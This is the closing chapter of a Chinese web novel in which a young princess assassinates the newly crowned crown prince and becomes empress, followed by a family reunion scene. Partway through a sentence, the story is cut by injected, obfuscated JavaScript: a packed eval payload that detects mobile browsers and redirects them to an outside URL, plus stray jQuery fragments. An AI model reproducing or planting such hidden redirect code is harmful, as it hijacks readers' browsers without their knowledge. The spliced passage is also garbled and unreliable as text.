55. 黄雀在后(终)

作品:《世子妃今天还能摆烂吗

    一想到这,陆棠宁迫不及待将银钗对着烛光打量着,仔细看了半点,才看到一个细小的接缝,她顺势一拧,银钗分为两半。


    难怪这钗子比寻常要轻了些,原来这中间是空的。


    陆棠宁在孔隙中掏了半天也没掏出,裴知行摊开手:“让我试试。”


    他用内力一震,中间的小纸条才露出一角,他忙将其抽出。


    一张薄如蝉翼的小纸条?


    陆棠宁一接过来,着急打开,两人对坐在桌前,费力靠近烛火读着上面的字迹。


    “这是,一个地址?”陆棠宁翻看了好几遍才确定。


    “五皇子府,最北侧厢房,桂花树下朝西一又三尺,往下挖。”裴知行念道。


    陆棠宁坐正身子:“树下埋着东西,但我们现在出不去。”


    裴知行向外瞟了眼:“我们是出不去,但有人可以。”


    说完,他走近窗户,轻敲三下,很快就有三声猫叫回应,他将窗户打开一条小缝,顺势将纸条扔出去。


    “父王和母妃在京城多年,皇宫里总会有几个自己人。”裴知行解释着,“明日就是登基大典,你便是着急也无用……”


    陆棠宁瞪了他一眼,谁家好人用这话安慰人的。


    深夜,又是三声猫儿叫。


    裴知行走到床边,只见地上有个小匣子,他将其带回屋内。


    陆棠宁本就睡得不安稳,他一动就醒了,问道:“东西找到了?”


    裴知行“嗯”了声,随后将匣子打开。


    里面是一本厚厚的账册,裴知行当即翻阅起来,他看得很快,只有脸色越发阴沉。


    陆棠宁赶忙接过来,看了几页道:“这些都是五皇子的罪证?”


    也是,陆桃夭毕竟跟在五皇子身后一年有余,想探查些事情也不是不可能。


    裴知行忽然指着几个名字道:“这些都是五皇子党,可当初五皇子持圣旨想要登基时却没有一人响应,反倒是后来要迎太子登基……”


    “还有御林军,怎么会这么轻易投降,我原以为是他们畏惧裴家军,现在想来,怕是他们早就是太子的人。”


    裴知行说着,心脏像是被人死死握住,他视太子如兄长,可在这个所谓的兄长眼中,他不过是个有用的棋子。


    即便他们再不情愿,天还是如往常一般亮了。


    登基大典即将开始,就算他们有万般能耐也无法阻止,更何况满朝文武皆是太子之人。


    “世子爷,世子妃。陛下请你们去参加登基大典。”


    两人对视一眼,终究还是来了。


    裴知行温柔坚定地拉住陆棠宁的手,道:“走吧,兴许真的只是登基大典呢。”


    登基大典,京城里大大小小的官都来了,便是外头的几位藩王也紧赶慢赶赶回来了。


    太子身上的四爪金蟒已然变成五爪金龙,脸上依旧是温良的笑。


    云裳公主也不知何时被人带来,此刻站在距离太子最近的地方。


    对于这个唯一见证他胜利的妹妹,太子招手,让云裳走上前来。


    云裳天真地迈着小步伐跑向太子,张开双臂,撒娇道:“大哥,要抱。”


    被太多人看着,太子笑着弯下腰将云裳抱起来。


    背对着众人,只有一直关注着她的陆棠宁和裴知行发现,她的袖口处闪过寒光。


    不好!


    两人刚要上前,云裳已经动了。


    她顺着太子的动作紧紧搂住太子的脖子,一根粗长铁针缓缓滑出袖口,说时迟那时快,用尽全力扎入太子最脆弱的脖颈。


    鲜血像喷泉一样喷出,染红云裳大半个脸蛋,她却完全不害怕地笑着。


    太子防备了所有人,唯独漏掉了这个只有几岁的傻妹妹。


    还未站直的身子轰然倒地,连带着云裳也向地上栽去。


    喜事变丧事。


    现场立马混乱起来,太监和大臣们一边喊着太医,一边喊着救驾,只有云裳冷冷地站在一旁,仿佛一个局外人。


    太医拎着药箱大跑过来,搭上脉后摇头。


    “陛下驾崩了——”太监扯着嗓子叫道,现场立马安静下来。


    所有人都停住动作,齐齐看向倒在地上的太子。


    云裳面无表情地看着这一切,丝毫不在意身上的血污。


    她仰头看向天空,阳光和火光一样灼得让人难受。


    她的母妃死于一场大火,她就让他死在阳光之下。


    一大臣指着云裳,悲愤道:“她竟敢弑君,裴世子,你还愣着作甚?快将她就地格杀!”


    “快,杀了她,为陛下报仇!”


    诸如此类的话数不胜数,裴知行却没有上前,他看着云裳,问出致命一问:“先帝生前共孕育五子一女,如今五位皇子皆已离世,新帝又无子嗣。且因前朝藩王作乱导致国破家亡,我朝自开国后便定下封藩王者,永不能继承皇位。试问各位大臣,可还能选出下一任的新帝?”


    “这……”


    大臣们低着头掐算着,算来算去,竟然发现除了云裳公主,竟无一人可继承皇位。


    “可公主她是女儿身……”


    裴知行又问道:“我朝律法可有哪一条上写明,女儿身不能继承皇位的?”


    “这……这还真没有……”


    说着,大臣们也开始犹豫起来,良久,几人围成一团讨论起来。


    突然,有人神神秘秘走进来,小声嘀咕。


    “你是说,裴家军又将皇城围起来了?”大臣们一边讨论着一边偷看裴知行。


    陆棠宁见他们神神叨叨的,问道:“他们又怎么了?”


    裴知行解释道:“昨晚暗探将我们被困皇宫的消息告诉了父王和母妃,按照父王的脾气,现在应该已经大军压境了。”


    有了兵临城下的紧迫感,这些个大臣总算是讨论完了。


    笑话,云裳公主和燕王他们还是能选出来的。


    “我等讨论过了,恭迎公主殿下登基——”


    登基大典都是现成的,除了没有一身新的皇袍,就这样,连云裳本人都有些迷糊。


    她杀了太子,反倒成了皇帝了?还是第一个女皇帝?


    她瞟了眼裴知行和陆棠宁,他们定然是做了什么,否则那些个老东西不会轻易松口。


    登基大典如期举行,除了主人公换了,其他一切照旧。


    新帝年幼,只得让长公主监国,朝中百官逐渐分化为两党。


    一党站长公主,只认皇家正统,可长公主手段狠厉,比之先帝时期,堪称“暴政”。


    渐渐地,有部分官员开始怀疑起当初的决定,与燕王府走动起来。


    燕王嫌他们烦人,便一股脑地推给裴知行,让裴知行打发了去。


    好不容易又打发走一个,裴知行将妻子从床上捞起来,撒娇道:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468579|201351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “宁宁,他们好烦。”


    陆棠宁昨晚被他折腾得厉害,现下只想补觉,随手一巴掌扇到他脸上,嘟囔道:“别闹。”


    裴知行趁她困着,又亲了好几口才肯罢休。


    直到秋日里的一封云栖城故人的信彻底打断了陆棠宁躺平的生活。


    自从她和茯苓离开云栖城后,酒楼、绣楼以及书院的生意便由余舒柔和碧荷代管。


    她之前也让茯苓派人去看过,双方也互相通信,见她们将生意越做越大,陆棠宁也就没再多管,直接让她们放开手去做。


    现在的她不缺钱不缺闲,做生意什么的还是先放放吧。


    可现在,她们突然将生意做到京城,还说她作为东家,往后要将每日账册送来给她过目。


    这对一个好不容易才躺下的人来说,就是一张催命符。


    “阿姐,碧荷她们要来,你不高兴吗?”茯苓可是高兴得很,早早就开始准备了。


    “高兴啊。”陆棠宁坐在桌前,托着下巴生无可恋。


    “对了,今天还有一件好事。”茯苓突然神神秘秘道。


    “什么事?”陆棠宁问道。


    “大小姐今日被长公主召进宫了,封了女官,往后负责教导陛下。”茯苓双手合掌,满脸崇拜。


    陆棠宁顿时来劲了:“你说真的,姐姐当女官了。快去备车,我去恭贺姐姐。”


    她们去时,陆桃夭也刚从宫中回来,一家人吃了顿团圆饭。


    今日高兴,陆丞相将埋在地里的两坛女儿红也挖了出来,一坛是陆桃夭出生那年埋下的,一坛是陆棠宁被寻回时埋下的。


    但都因为种种原因没有机会挖出来喝。


    “今日是个好日子,两坛女儿红!”陆丞相将酒打开,一人分了一杯。


    说是一杯,其实浅的能见底,陆灼华只是抿了一口就没了,拉着父亲的手不放:“爹,你再给我倒一些……”


    陆丞相十分不留情面,在陆灼华满眼期盼下,重新将女儿红封上,“你不都尝过了吗?这酒等以后有大事再喝。”


    陆棠宁和陆桃夭对视一眼,默契地笑了。


    只有陆夫人还算心疼儿子,让人另拿了坛好酒来,几人不醉不归。


    陆棠宁没喝几口就醉了,拉着陆桃夭说悄悄话:“姐姐,我跟你说,你是我见过的第二个奇女子。”


    说着,她还不忘用手比了个“二”。


    陆桃夭也晕乎乎的,问:“那第一个是谁啊?”


    陆棠宁手晃了半天,最后来了句“秘密,不能说,不能说。”


    裴知行赶过来时就只瞧见这一幕,他的妻子抱着妻姐不肯撒手,老丈人和大舅子在斗嘴,丈母娘则是抱着茯苓,哄着她给自己做干女儿。


    简直乱成一锅粥了。


    裴知行揉了揉眉心,走到陆棠宁身边,低声哄道:“宁宁,我来接你回家了。”


    醉鬼陆棠宁凑上前瞧了瞧,一把将人掀开:“不走不走,这就是我家……”


    裴知行无奈,只好将人抱起,陆棠宁还不肯撒手,紧紧拽着陆桃夭的手。


    不知道的,还以为是生离死别呢。


    裴知行松开手,陪着她坐在地上,轻声道:“对,这就是我们的家。”


    陆棠宁突然转过头,亲上他的脸颊,一触即离,醉醺醺地看着眼前热闹的情景。


    “我有家了。”


    (大结局终)